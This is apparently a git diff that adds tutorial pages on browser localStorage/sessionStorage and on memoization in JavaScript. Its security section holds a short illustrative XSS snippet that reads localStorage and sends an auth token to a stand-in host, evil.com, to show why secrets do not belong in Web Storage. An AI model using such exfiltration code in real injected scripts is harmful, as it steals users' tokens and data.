[`JSON.parse()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse) when retrieving: + +```javascript +// Storing objects +const user = { name: "Alice", age: 30, roles: ["admin", "user"] } +localStorage.setItem("user", JSON.stringify(user)) + +// Retrieving objects +const storedUser = JSON.parse(localStorage.getItem("user")) +console.log(storedUser.name) // "Alice" +console.log(storedUser.roles) // ["admin", "user"] + +// Storing arrays +const favorites = ["item1", "item2", "item3"] +localStorage.setItem("favorites", JSON.stringify(favorites)) + +const storedFavorites = JSON.parse(localStorage.getItem("favorites")) +console.log(storedFavorites[0]) // "item1" +``` + +### A Safer Storage Wrapper + +Create a utility that handles JSON automatically and provides safe defaults: + +```javascript +const storage = { + set(key, value) { + try { + localStorage.setItem(key, JSON.stringify(value)) + return true + } catch (error) { + console.error("Storage set failed:", error) + return false + } + }, + + get(key, defaultValue = null) { + try { + const item = localStorage.getItem(key) + return item ? JSON.parse(item) : defaultValue + } catch (error) { + console.error("Storage get failed:", error) + return defaultValue + } + }, + + remove(key) { + localStorage.removeItem(key) + }, + + clear() { + localStorage.clear() + } +} + +// Usage - much cleaner! +storage.set("user", { name: "Alice", premium: true }) +const user = storage.get("user") // { name: "Alice", premium: true } +const missing = storage.get("nonexistent", { guest: true }) // { guest: true } +``` + +### JSON Gotchas + +Be aware of these limitations when using JSON serialization: + +```javascript +// Date objects become strings +const data = { created: new Date() } +localStorage.setItem("data", JSON.stringify(data)) +const parsed = JSON.parse(localStorage.getItem("data")) +console.log(typeof parsed.created) // "string", not Date object! + +// To fix: parse dates manually +parsed.created = new Date(parsed.created) + +// undefined values are lost +const obj = { a: 1, b: undefined } +JSON.stringify(obj) // '{"a":1}' - 'b' is gone! + +// Functions are not serializable +const withFunction = { greet: () => "hello" } +JSON.stringify(withFunction) // '{}' - function is gone! + +// Circular references throw errors +const circular = { name: "test" } +circular.self = circular +JSON.stringify(circular) // TypeError: Converting circular structure to JSON +``` + +--- + +## Storage Events for Cross-Tab Communication + +The [`storage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/storage_event) event fires when storage is modified from **another** document (tab/window) with the same origin. This enables cross-tab communication. + +<Warning> +**Important:** The storage event does NOT fire in the tab that made the change—only in OTHER tabs. This is a common source of confusion! +</Warning> + +```javascript +// Listen for storage changes from other tabs +window.addEventListener("storage", (event) => { + console.log("Storage changed!") + console.log("Key:", event.key) // The key that changed + console.log("Old value:", event.oldValue) // Previous value + console.log("New value:", event.newValue) // New value + console.log("URL:", event.url) // URL of the document that changed it + console.log("Storage area:", event.storageArea) // localStorage or sessionStorage +}) +``` + +### The StorageEvent Properties + +| Property | Description | +|----------|-------------| +| `key` | The key that was changed (`null` if `clear()` was called) | +| `oldValue` | The previous value (`null` if new key) | +| `newValue` | The new value (`null` if key was removed) | +| `url` | The URL of the document that made the change | +| `storageArea` | The Storage object that was modified | + +### Practical Example: Syncing Logout Across Tabs + +```javascript +// In your authentication module +function setupAuthSync() { + window.addEventListener("storage", (event) => { + // User logged out in another tab + if (event.key === "authToken" && event.newValue === null) { + console.log("User logged out in another tab") + window.location.href = "/login" + } + + // User logged in another tab + if (event.key === "authToken" && event.oldValue === null) { + console.log("User logged in from another tab") + window.location.reload() + } + }) +} + +// When user logs out +function logout() { + localStorage.removeItem("authToken") // This triggers event in OTHER tabs + window.location.href = "/login" +} +``` + +### Testing Storage Events + +Since storage events only fire in other tabs, here's how to test manually: + +1. Open your site in two browser tabs +2. Open DevTools console in both tabs +3. In Tab 1, add the event listener: + ```javascript + window.addEventListener("storage", (e) => console.log("Changed:", e.key)) + ``` +4. In Tab 2, modify storage: + ```javascript + localStorage.setItem("test", "value") + ``` +5. Tab 1's console will show: `Changed: test` + +--- + +## Storage Limits and Quotas + +Web Storage has size limits that vary by browser: + +| Browser | localStorage Limit | sessionStorage Limit | +|---------|-------------------|---------------------| +| Chrome | ~5 MB | ~5 MB | +| Firefox | ~5 MB | ~5 MB | +| Safari | ~5 MB | ~5 MB | +| Edge | ~5 MB | ~5 MB | + +<Note> +The limit is per **origin** (protocol + domain + port), not per page. All pages on `https://example.com` share the same 5 MB quota. +</Note> + +### Handling QuotaExceededError + +When you exceed the limit, `setItem()` throws a [`QuotaExceededError`](https://developer.mozilla.org/en-US/docs/Web/API/DOMException): + +```javascript +function safeSetItem(key, value) { + try { + localStorage.setItem(key, value) + return true + } catch (error) { + if (error.name === "QuotaExceededError") { + console.error("Storage quota exceeded!") + // Handle gracefully: clear old data, notify user, etc. + return false + } + throw error // Re-throw unexpected errors + } +} + +// Usage +const largeData = "x".repeat(10 * 1024 * 1024) // 10 MB string +if (!safeSetItem("largeData", largeData)) { + console.log("Failed to save - storage full") +} +``` + +### Private Browsing / Incognito Mode + +Web Storage behaves differently in private browsing: + +``` +┌─────────────────────────────────────────────────────────────────────────────┐ +│ PRIVATE BROWSING BEHAVIOR │ +├─────────────────────────────────────────────────────────────────────────────┤ +│ │ +│ Browser Behavior in Private Mode │ +│ ─────────────────────────────────────────────────────────────────────── │ +│ Safari localStorage throws QuotaExceededError on ANY write │ +│ Chrome localStorage works but cleared when window closes │ +│ Firefox localStorage works but cleared when window closes │ +│ Edge localStorage works but cleared when window closes │ +│ │ +│ All browsers: sessionStorage works normally but cleared on close │ +│ │ +└─────────────────────────────────────────────────────────────────────────────┘ +``` + +Always use feature detection to handle these cases gracefully. + +--- + +## Feature Detection + +Always check if Web Storage is available before using it: + +```javascript +function storageAvailable(type) { + try { + const storage = window[type] + const testKey = "__storage_test__" + storage.setItem(testKey, testKey) + storage.removeItem(testKey) + return true + } catch (error) { + return ( + error instanceof DOMException && + error.name === "QuotaExceededError" && + // Acknowledge QuotaExceededError only if there's something already stored + storage && storage.length !== 0 + ) + } +} + +// Usage +if (storageAvailable("localStorage")) { + // Safe to use localStorage + localStorage.setItem("key", "value") +} else { + // Fall back to cookies, memory storage, or inform user + console.warn("localStorage not available") +} + +if (storageAvailable("sessionStorage")) { + // Safe to use sessionStorage + sessionStorage.setItem("key", "value") +} +``` + +--- + +## Security Considerations + +<Warning> +**Critical Security Warning:** Never store sensitive data in Web Storage. localStorage is vulnerable to XSS (Cross-Site Scripting) attacks. Any JavaScript running on your page can access localStorage—including malicious scripts injected by attackers. +</Warning> + +### What NOT to Store + +```javascript +// NEVER store these in localStorage or sessionStorage: +localStorage.setItem("password", "secret123") // Passwords +localStorage.setItem("creditCard", "4111111111111111") // Payment info +localStorage.setItem("ssn", "123-45-6789") // Personal identifiers +localStorage.setItem("authToken", "jwt.token.here") // Auth tokens (use HTTP-only cookies) +localStorage.setItem("apiKey", "sk-abc123") // API keys +``` + +### Why localStorage is Vulnerable + +```javascript +// If an attacker can inject JavaScript (XSS), they can: +const stolenData = localStorage.getItem("authToken") +// Send to attacker's server +fetch("https://evil.com/steal?token=" + stolenData) + +// Or steal ALL stored data +for (let i = 0; i < localStorage.length; i++) { + const key = localStorage.key(i) + const value = localStorage.getItem(key) + // Exfiltrate everything... +} +``` + +### Best Practices + +1. **Store only non-sensitive data**: User preferences, UI state, cached public data +2. **Use HTTP-only cookies for authentication**: Tokens, session IDs +3. **Implement Content Security Policy (CSP)**: Prevent XSS attacks +4. **Sanitize all user input**: Never trust data from users +5. **Consider encryption for semi-sensitive data**: Though this adds complexity + +For comprehensive security guidance, see the [OWASP HTML5 Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#local-storage). + +--- + +## When to Use Which Storage Solution + +Choosing the right storage depends on your use case: + +| Need | Best Solution | Why | +|------|---------------|-----| +| User preferences (theme, language) | localStorage | Persists across sessions | +| Shopping cart | localStorage | User expects it to persist | +| Form wizard progress | sessionStorage | Temporary, per-tab data | +| Authentication tokens | HTTP-only cookies | Secure from JavaScript | +| Large structured data (>5MB) | IndexedDB | No size limit, async | +| Data server needs to read | Cookies | Sent with every request | +| Offline-first apps | IndexedDB + Service Workers | Full offline support | +| Caching API responses | localStorage or Cache API | Depends on size/complexity | + +``` +┌─────────────────────────────────────────────────────────────────────────────┐ +│ STORAGE DECISION FLOWCHART │ +├─────────────────────────────────────────────────────────────────────────────┤ +│ │ +│ Does the server need to read it? │ +│ │ │ +│ ├── YES → Use Cookies │ +│ │ │ +│ └── NO → Is it sensitive data (tokens, passwords)? │ +│ │ │ +│ ├── YES → Use HTTP-only Cookies │ +│ │ │ +│ └── NO → Is data > 5MB or complex/indexed? │ +│ │ │ +│ ├── YES → Use IndexedDB │ +│ │ │ +│ └── NO → Should it persist across sessions? │ +│ │ │ +│ ├── YES → Use localStorage │ +│ │ │ +│ └── NO → Use sessionStorage │ +│ │ +└─────────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## Common Patterns and Use Cases + +### Theme/Dark Mode Preference + +```javascript +// Save theme preference +function setTheme(theme) { + document.documentElement.setAttribute("data-theme", theme) + localStorage.setItem("theme", theme) +} + +// Load theme on page load +function loadTheme() { + const savedTheme = localStorage.getItem("theme") + const prefersDark = window.matchMedia("(prefers-color-scheme: dark)").matches + const theme = savedTheme || (prefersDark ? "dark" : "light") + setTheme(theme) +} + +// Toggle theme +function toggleTheme() { + const current = localStorage.getItem("theme") || "light" + setTheme(current === "light" ? "dark" : "light") +} +``` + +### Multi-Step Form Wizard + +```javascript +// Save form progress in sessionStorage (clears when tab closes) +function saveFormProgress(step, data) { + const progress = JSON.parse(sessionStorage.getItem("formProgress") || "{}") + progress[step] = data + progress.currentStep = step + sessionStorage.setItem("formProgress", JSON.stringify(progress)) +} + +// Restore form progress +function loadFormProgress() { + const progress = JSON.parse(sessionStorage.getItem("formProgress") || "{}") + return progress +} + +// Clear on successful submission +function clearFormProgress() { + sessionStorage.removeItem("formProgress") +} +``` + +### Recently Viewed Items + +```javascript +function addToRecentlyViewed(item, maxItems = 10) { + const recent = JSON.parse(localStorage.getItem("recentlyViewed") || "[]") + + // Remove if already exists (to move to front) + const filtered = recent.filter((i) => i.id !== item.id) + + // Add to front + filtered.unshift(item) + + // Keep only maxItems + const trimmed = filtered.slice(0, maxItems) + + localStorage.setItem("recentlyViewed", JSON.stringify(trimmed)) +} + +function getRecentlyViewed() { + return JSON.parse(localStorage.getItem("recentlyViewed") || "[]") +} +``` + +--- + +## Common Mistakes and Pitfalls + +<AccordionGroup> + <Accordion title="1. Forgetting JSON.stringify/parse"> + ```javascript + // WRONG - stores "[object Object]" + localStorage.setItem("user", { name: "Alice" }) + + // CORRECT + localStorage.setItem("user", JSON.stringify({ name: "Alice" })) + const user = JSON.parse(localStorage.getItem("user")) + ``` + </Accordion> + + <Accordion title="2. Not handling null from getItem"> + ```javascript + // DANGEROUS - JSON.parse(null) returns null, but other code might fail + const settings = JSON.parse(localStorage.getItem("settings")) + settings.theme // TypeError if settings is null! + + // SAFE - provide default + const settings = JSON.parse(localStorage.getItem("settings")) || {} + const theme = settings.theme || "light" + ``` + </Accordion> + + <Accordion title="3. Assuming storage is always available"> + ```javascript + // WRONG - will crash in private browsing (Safari) + localStorage.setItem("key", "value") + + // CORRECT - check first + if (storageAvailable("localStorage")) { + localStorage.setItem("key", "value") + } + ``` + </Accordion> + + <Accordion title="4. Not handling QuotaExceededError"> + ```javascript + // WRONG - might throw + localStorage.setItem("bigData", hugeString) + + // CORRECT - catch the error + try { + localStorage.setItem("bigData", hugeString) + } catch (e) { + if (e.name === "QuotaExceededError") { + // Handle gracefully + } + } + ``` + </Accordion> + + <Accordion title="5. Storing sensitive data"> + ```javascript + // NEVER DO THIS + localStorage.setItem("authToken", token) + localStorage.setItem("password", password) + + // Use HTTP-only cookies for auth instead + ``` + </Accordion> + + <Accordion title="6. Expecting storage event in the same tab"> + ```javascript + // This listener will NOT fire from changes in the SAME tab + window.addEventListener("storage", handler) + localStorage.setItem("test", "value") // handler NOT called! + + // Storage events only fire in OTHER tabs with the same origin + ``` + </Accordion> +</AccordionGroup> + +--- + +## Key Takeaways + +<Info> +**The key things to remember about localStorage and sessionStorage:** + +1. **Web Storage stores key-value string pairs** — Both localStorage and sessionStorage provide simple, synchronous access to browser storage scoped by origin + +2. **localStorage persists forever; sessionStorage clears on tab close** — Choose based on whether data should survive the session + +3. **Both are scoped to origin** — Protocol + domain + port; different origins can't access each other's storage + +4. **Only strings can be stored** — Use `JSON.stringify()` when saving and `JSON.parse()` when retrieving objects and arrays + +5. **Storage events enable cross-tab communication** — The event fires in OTHER tabs, not the one making the change + +6. **~5-10 MB limit per origin** — Handle `QuotaExceededError` gracefully + +7. **Private browsing may restrict storage** — Safari throws errors; others clear on close + +8. **Never store sensitive data** — localStorage is vulnerable to XSS attacks; use HTTP-only cookies for authentication + +9. **Always use feature detection** — Check availability before using, especially for private browsing compatibility + +10. **Choose the right storage for the job** — localStorage for preferences, sessionStorage for temporary state, cookies for server-readable data, IndexedDB for large data +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: What's the key difference between localStorage and sessionStorage?"> + **Answer:** + + `localStorage` persists until explicitly cleared—data survives browser restarts and remains until you call `removeItem()` or `clear()`. + + `sessionStorage` is cleared when the browser tab closes. Each tab has its own isolated sessionStorage, while localStorage is shared across all tabs from the same origin. + </Accordion> + + <Accordion title="Question 2: Why do you need JSON.stringify when storing objects?"> + **Answer:** + + Web Storage can only store strings. When you try to store an object directly, it gets converted to the string `"[object Object]"`, losing all your data. + + `JSON.stringify()` converts objects and arrays to JSON strings that can be stored and later restored with `JSON.parse()`. + + ```javascript + // Wrong - data lost + localStorage.setItem("user", { name: "Alice" }) // "[object Object]" + + // Correct - data preserved + localStorage.setItem("user", JSON.stringify({ name: "Alice" })) // '{"name":"Alice"}' + ``` + </Accordion> + + <Accordion title="Question 3: Which tab receives the storage event—the one making the change or other tabs?"> + **Answer:** + + **Other tabs only.** The storage event fires in all tabs/windows with the same origin EXCEPT the one that made the change. This is by design to enable cross-tab communication without causing infinite loops. + + If you need to react to changes in the same tab, you'll need to implement that logic separately from the storage event. + </Accordion> + + <Accordion title="Question 4: What error is thrown when storage quota is exceeded?"> + **Answer:** + + `QuotaExceededError` (a type of `DOMException`). You should wrap `setItem()` calls in try-catch when storing potentially large data: + + ```javascript + try { + localStorage.setItem("key", largeValue) + } catch (e) { + if (e.name === "QuotaExceededError") { + // Storage is full + } + } + ``` + </Accordion> + + <Accordion title="Question 5: Is it safe to store JWT tokens in localStorage? Why or why not?"> + **Answer:** + + **No, it's not safe.** localStorage is vulnerable to XSS (Cross-Site Scripting) attacks. Any JavaScript running on your page can read localStorage—including malicious scripts injected by attackers. + + Authentication tokens should be stored in **HTTP-only cookies**, which cannot be accessed by JavaScript. This makes them immune to XSS attacks (though CSRF protection is still needed). + </Accordion> + + <Accordion title="Question 6: How can you check if localStorage is available?"> + **Answer:** + + Use feature detection with try-catch, because localStorage might be disabled, unavailable, or throw errors in private browsing mode: + + ```javascript + function storageAvailable(type) { + try { + const storage = window[type] + const testKey = "__test__" + storage.setItem(testKey, testKey) + storage.removeItem(testKey) + return true + } catch (e) { + return false + } + } + + if (storageAvailable("localStorage")) { + // Safe to use + } + ``` + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="IndexedDB" icon="database" href="/beyond/concepts/indexeddb"> + For larger, structured data with indexes and queries + </Card> + <Card title="Cookies" icon="cookie" href="/beyond/concepts/cookies"> + For server-accessible storage and authentication + </Card> + <Card title="JSON Deep Dive" icon="code" href="/beyond/concepts/json-deep-dive"> + Master JSON serialization for complex data storage + </Card> + <Card title="DOM" icon="window" href="/concepts/dom"> + Understanding the browser document object model + </Card> +</CardGroup> + +--- + +## References + +<CardGroup cols={2}> + <Card title="Web Storage API — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API"> + Complete MDN documentation for the Web Storage API with examples and browser compatibility + </Card> + <Card title="localStorage — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage"> + Official reference for localStorage including exceptions, security considerations, and examples + </Card> + <Card title="sessionStorage — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage"> + Official reference for sessionStorage behavior, tab isolation, and page session lifecycle + </Card> + <Card title="StorageEvent — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/StorageEvent"> + Reference for the storage event interface used for cross-tab communication + </Card> +</CardGroup> + +--- + +## Articles + +<CardGroup cols={2}> + <Card title="LocalStorage, sessionStorage — javascript.info" icon="newspaper" href="https://javascript.info/localstorage"> + Comprehensive tutorial with interactive examples covering all Web Storage concepts. Great for hands-on learning. + </Card> + <Card title="Introduction to localStorage and sessionStorage — DigitalOcean" icon="newspaper" href="https://www.digitalocean.com/community/tutorials/js-introduction-localstorage-sessionstorage"> + Step-by-step guide covering basic to advanced usage patterns with practical code examples. + </Card> + <Card title="Using the Web Storage API — MDN" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API"> + Official MDN guide with feature detection patterns and complete working examples. + </Card> + <Card title="OWASP HTML5 Security Cheat Sheet" icon="shield" href="https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#local-storage"> + Security best practices for Web Storage from the Open Web Application Security Project. + </Card> +</CardGroup> + +--- + +## Videos + +<CardGroup cols={2}> + <Card title="JavaScript Cookies vs Local Storage vs Session Storage" icon="video" href="https://www.youtube.com/watch?v=GihQAC1I39Q"> + Web Dev Simplified's clear comparison of all three client-side storage mechanisms with practical examples. + </Card> + <Card title="Local Storage & Session Storage — JavaScript Tutorial" icon="video" href="https://www.youtube.com/watch?v=AUOzvFzdIk4"> + Traversy Media's beginner-friendly tutorial walking through all Web Storage API methods. + </Card> + <Card title="localStorage in 100 Seconds" icon="video" href="https://www.youtube.com/watch?v=XPDcw1bYQbs"> + Fireship's quick overview of localStorage fundamentals. Perfect for a fast refresher. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/memoization.mdx b/docs/beyond/concepts/memoization.mdx new file mode 100644 index 00000000..6818356b --- /dev/null +++ b/docs/beyond/concepts/memoization.mdx @@ -0,0 +1,867 @@ +--- +title: "Memoization: Caching Function Results in JavaScript" +sidebarTitle: "Memoization: Caching Function Results" +description: "Learn memoization in JavaScript. Cache function results, optimize expensive computations, build your own memoize function, and know when caching helps vs hurts." +--- + +Why does a naive Fibonacci function take forever for large numbers while a memoized version finishes instantly? Why do some React components re-render unnecessarily while others stay perfectly optimized? + +The answer is **memoization** — an optimization technique that stores the results of expensive function calls and returns the cached result when the same inputs occur again. + +```javascript +// Without memoization: recalculates every time +function slowFib(n) { + if (n <= 1) return n + return slowFib(n - 1) + slowFib(n - 2) +} + +slowFib(40) // Takes several seconds! +slowFib(40) // Still takes several seconds... + +// With memoization: remembers previous results +const fastFib = memoize(function(n) { + if (n <= 1) return n + return fastFib(n - 1) + fastFib(n - 2) +}) + +fastFib(40) // Takes milliseconds +fastFib(40) // Instant — retrieved from cache! +``` + +Memoization is built on [closures](/concepts/scope-and-closures), uses data structures like [`Map`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) and [`WeakMap`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap), and is the foundation for performance optimizations in frameworks like React. + +<Info> +**What you'll learn in this guide:** +- What memoization is and how it works under the hood +- How to build your own memoize function from scratch +- Handling multiple arguments and complex cache keys +- When memoization helps vs when it actually hurts performance +- Using WeakMap for memory-safe object memoization +- Common mistakes that break memoization +</Info> + +<Warning> +**Helpful background:** This guide uses closures extensively. If you're not comfortable with how functions can "remember" variables from their outer scope, read our [Scope and Closures](/concepts/scope-and-closures) guide first. Understanding [Pure Functions](/concepts/pure-functions) also helps since memoization only works reliably with pure functions. +</Warning> + +--- + +## What is Memoization? + +**Memoization** is an optimization technique that speeds up programs by storing the results of expensive function calls and returning the cached result when the same inputs occur again. The term comes from the Latin word "memorandum" (to be remembered), which is also the root of "memo." + +Think of memoization as giving your function a notepad. Before doing any calculation, the function checks its notes: "Have I solved this exact problem before?" If yes, it reads the answer from the notepad. If no, it calculates the result, writes it down, and then returns it. + +```javascript +// A memoized function has three parts: +// 1. A cache to store results +// 2. A lookup to check if we've seen this input before +// 3. The original calculation as a fallback + +function memoizedDouble(n) { + // Check the cache + if (memoizedDouble.cache[n] !== undefined) { + console.log(`Cache hit for ${n}`) + return memoizedDouble.cache[n] + } + + // Calculate and store + console.log(`Calculating ${n} * 2`) + const result = n * 2 + memoizedDouble.cache[n] = result + return result +} +memoizedDouble.cache = {} + +memoizedDouble(5) // "Calculating 5 * 2" → 10 +memoizedDouble(5) // "Cache hit for 5" → 10 (no calculation!) +memoizedDouble(7) // "Calculating 7 * 2" → 14 +``` + +<CardGroup cols={2}> + <Card title="Map — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map"> + The Map object is ideal for memoization caches since it preserves insertion order and allows any value as a key + </Card> + <Card title="WeakMap — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap"> + WeakMap allows garbage collection of keys, making it perfect for memoizing functions with object arguments + </Card> +</CardGroup> + +--- + +## The Library Book Analogy + +Imagine you're a librarian helping students with research questions. When a student asks "What year did JavaScript first release?", you have two options: + +1. **Without memoization:** Walk to the computer science section, find the right book, look up the answer, walk back, and tell the student "1995." Every single time someone asks this question, you repeat the entire trip. + +2. **With memoization:** The first time someone asks, you do the lookup. But then you write "JavaScript: 1995" on a sticky note at your desk. The next time someone asks, you just read from the sticky note. No walking required. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ MEMOIZATION: THE LIBRARIAN'S DESK │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ WITHOUT MEMOIZATION WITH MEMOIZATION │ +│ ──────────────────── ────────────────── │ +│ │ +│ Student: "When was JS released?" Student: "When was JS released?"│ +│ │ +│ ┌──────────┐ ┌──────────┐ │ +│ │ Librarian│ │ Librarian│ │ +│ │ 😓 │ ─────► Walk to shelf │ 😊 │ ─► Check desk │ +│ └──────────┘ Find book └──────────┘ ┌─────────────┐ │ +│ │ Look it up │ │ Sticky Note │ │ +│ │ Walk back │ │ JS: 1995 │ │ +│ ▼ Tell student ▼ └─────────────┘ │ +│ "1995" (slow) "1995" (instant!) │ +│ │ +│ Next student asks... Next student asks... │ +│ ↑ Repeat everything! ↑ Just read the sticky note! │ +│ │ +│ Time: O(n) every time Time: O(1) for repeat queries │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +The "sticky notes" are your cache. The "walking to the shelf" is the expensive computation. Memoization trades memory (sticky notes) for speed (no walking). + +--- + +## How to Build a Memoize Function + +Let's build a reusable `memoize` function step by step. This function will take any function and return a memoized version of it. + +### Step 1: Basic Structure + +```javascript +function memoize(fn) { + const cache = new Map() // Store results here + + return function(arg) { + // Check if we've seen this argument before + if (cache.has(arg)) { + return cache.get(arg) + } + + // Calculate, cache, and return + const result = fn(arg) + cache.set(arg, result) + return result + } +} +``` + +The returned function uses a [closure](/concepts/scope-and-closures) to maintain access to `cache` even after `memoize` has finished executing. This is how the function "remembers" previous results. + +### Step 2: Handle Multiple Arguments + +The basic version only works with single arguments. For multiple arguments, we need to create a cache key: + +```javascript +function memoize(fn) { + const cache = new Map() + + return function(...args) { + // Create a key from all arguments + const key = JSON.stringify(args) + + if (cache.has(key)) { + return cache.get(key) + } + + const result = fn.apply(this, args) + cache.set(key, result) + return result + } +} + +// Now it works with multiple arguments +const add = memoize((a, b) => { + console.log('Calculating...') + return a + b +}) + +add(2, 3) // "Calculating..." → 5 +add(2, 3) // → 5 (cached!) +add(3, 2) // "Calculating..." → 5 (different key: "[3,2]" vs "[2,3]") +``` + +### Step 3: Preserve `this` Context + +Using `fn.apply(this, args)` ensures the memoized function works correctly as a method: + +```javascript +const calculator = { + multiplier: 10, + + calculate: memoize(function(n) { + console.log('Calculating...') + return n * this.multiplier // 'this' refers to calculator + }) +} + +calculator.calculate(5) // "Calculating..." → 50 +calculator.calculate(5) // → 50 (cached, 'this' preserved) +``` + +### Complete Implementation + +Here's the full memoize function with all features: + +```javascript +function memoize(fn) { + const cache = new Map() + + return function memoized(...args) { + const key = JSON.stringify(args) + + if (cache.has(key)) { + return cache.get(key) + } + + const result = fn.apply(this, args) + cache.set(key, result) + return result + } +} +``` + +<Tip> +**Quick test:** A well-implemented memoize function should pass this check: `memoize(fn)(1, 2) === memoize(fn)(1, 2)` should only call `fn` once (assuming `fn` is the same function reference stored in a variable). +</Tip> + +--- + +## Memoizing Recursive Functions + +Memoization shines brightest with recursive functions that have overlapping subproblems. The classic example is Fibonacci. + +### The Problem: Exponential Time Complexity + +```javascript +function fibonacci(n) { + if (n <= 1) return n + return fibonacci(n - 1) + fibonacci(n - 2) +} + +// fibonacci(5) creates this call tree: +// fib(5) +// / \ +// fib(4) fib(3) +// / \ / \ +// fib(3) fib(2) fib(2) fib(1) +// / \ +// fib(2) fib(1) +// +// Notice: fib(3) is calculated TWICE +// fib(2) is calculated THREE times +``` + +For `fibonacci(40)`, the naive version makes over 300 million function calls because it recalculates the same values repeatedly. + +### The Solution: Memoized Fibonacci + +```javascript +const fibonacci = memoize(function fib(n) { + if (n <= 1) return n + return fibonacci(n - 1) + fibonacci(n - 2) +}) + +// Now the call tree is linear: +// fib(5) → fib(4) → fib(3) → fib(2) → fib(1) → fib(0) +// ↑ ↑ +// (cached) └────────┘ + +fibonacci(40) // Returns instantly +fibonacci(50) // Still fast — reuses cached values from fib(40)! +``` + +<Note> +**The key insight:** The recursive call `fibonacci(n - 1)` references the memoized version, not the inner function. Each computed value is stored, so `fib(3)` is only ever calculated once, no matter how many times it's needed. +</Note> + +### Performance Comparison + +| Input | Naive Fibonacci | Memoized Fibonacci | +|-------|-----------------|-------------------| +| n = 10 | ~177 calls | 11 calls | +| n = 20 | ~21,891 calls | 21 calls | +| n = 30 | ~2.7 million calls | 31 calls | +| n = 40 | ~331 million calls | 41 calls | + +The naive version has O(2^n) time complexity. The memoized version has O(n) time complexity. + +--- + +## When Memoization Helps + +Memoization is most effective in specific scenarios. Here's when you should reach for it: + +<AccordionGroup> + <Accordion title="1. Expensive Computations"> + Functions that perform heavy calculations benefit most from caching. + + ```javascript + // Good candidate: CPU-intensive calculation + const calculatePrimes = memoize(function(limit) { + const primes = [] + for (let i = 2; i <= limit; i++) { + let isPrime = true + for (let j = 2; j <= Math.sqrt(i); j++) { + if (i % j === 0) { + isPrime = false + break + } + } + if (isPrime) primes.push(i) + } + return primes + }) + + calculatePrimes(100000) // Slow first time + calculatePrimes(100000) // Instant! + ``` + </Accordion> + + <Accordion title="2. Recursive Functions with Overlapping Subproblems"> + Dynamic programming problems where the same subproblem is solved multiple times. + + ```javascript + // Good candidate: Recursive with repeated subproblems + const climbStairs = memoize(function(n) { + if (n <= 2) return n + return climbStairs(n - 1) + climbStairs(n - 2) + }) + + // Counts ways to climb n stairs taking 1 or 2 steps at a time + climbStairs(50) // Would be impossibly slow without memoization + ``` + </Accordion> + + <Accordion title="3. Functions Called Repeatedly with Same Arguments"> + When your application calls the same function with identical inputs many times. + + ```javascript + // Good candidate: Format function called in a loop + const formatCurrency = memoize(function(amount, currency) { + return new Intl.NumberFormat('en-US', { + style: 'currency', + currency: currency + }).format(amount) + }) + + // In a table with 1000 rows, many might have the same price + prices.map(p => formatCurrency(p, 'USD')) // Reuses cached formats + ``` + </Accordion> + + <Accordion title="4. Pure Functions Only"> + Memoization only works correctly with pure functions. Same input must always produce same output. + + ```javascript + // ✓ GOOD: Pure function — safe to memoize + const square = memoize(n => n * n) + + // ❌ BAD: Impure function — DO NOT memoize + let multiplier = 2 + const multiply = memoize(n => n * multiplier) // Result depends on external state! + + multiply(5) // 10 + multiplier = 3 + multiply(5) // Still returns 10 from cache, but should be 15! + ``` + </Accordion> +</AccordionGroup> + +--- + +## When Memoization Hurts + +Memoization isn't free. It trades memory for speed, and sometimes that trade isn't worth it. + +### 1. Fast Functions + +If a function executes quickly, the cache lookup overhead might exceed the computation time. + +```javascript +// ❌ BAD: Don't memoize simple operations +const add = memoize((a, b) => a + b) // Overhead > benefit + +// The cache lookup (Map.has, Map.get) and key creation (JSON.stringify) +// take longer than just adding two numbers! +``` + +### 2. Unique Inputs Every Time + +If inputs are rarely repeated, the cache just consumes memory without providing speed benefits. + +```javascript +// ❌ BAD: Random inputs are never repeated +const processRandom = memoize(function(data) { + return data.map(x => x * 2) +}) + +// Each call has unique data — cache grows forever, never provides a hit +for (let i = 0; i < 1000; i++) { + processRandom([Math.random()]) // Cache now has 1000 useless entries +} +``` + +### 3. Functions with Side Effects + +Memoization assumes the function only returns a value. If it has side effects, those won't happen on cache hits. + +```javascript +// ❌ BAD: Side effects are skipped on cache hits +const logAndDouble = memoize(function(n) { + console.log(`Doubling ${n}`) // Side effect! + return n * 2 +}) + +logAndDouble(5) // Logs "Doubling 5" → 10 +logAndDouble(5) // Returns 10, but NO LOG! Side effect was skipped. +``` + +### 4. Memory-Constrained Environments + +Each cached result consumes memory. For functions with large return values or many unique inputs, this can be problematic. + +```javascript +// ⚠️ CAREFUL: Large return values eat memory fast +const generateLargeArray = memoize(function(size) { + return new Array(size).fill(0).map((_, i) => i) +}) + +generateLargeArray(1000000) // Cache now holds 1 million integers +generateLargeArray(2000000) // Cache now holds 3 million integers +// Memory keeps growing with each unique input! +``` + +<Warning> +**The memory trap:** Standard memoization caches grow forever. In long-running applications, this can cause memory leaks. Consider using cache eviction strategies (LRU cache) or `WeakMap` for object keys. +</Warning> + +--- + +## WeakMap for Object Arguments + +When memoizing functions that take objects as arguments, `JSON.stringify` has problems: + 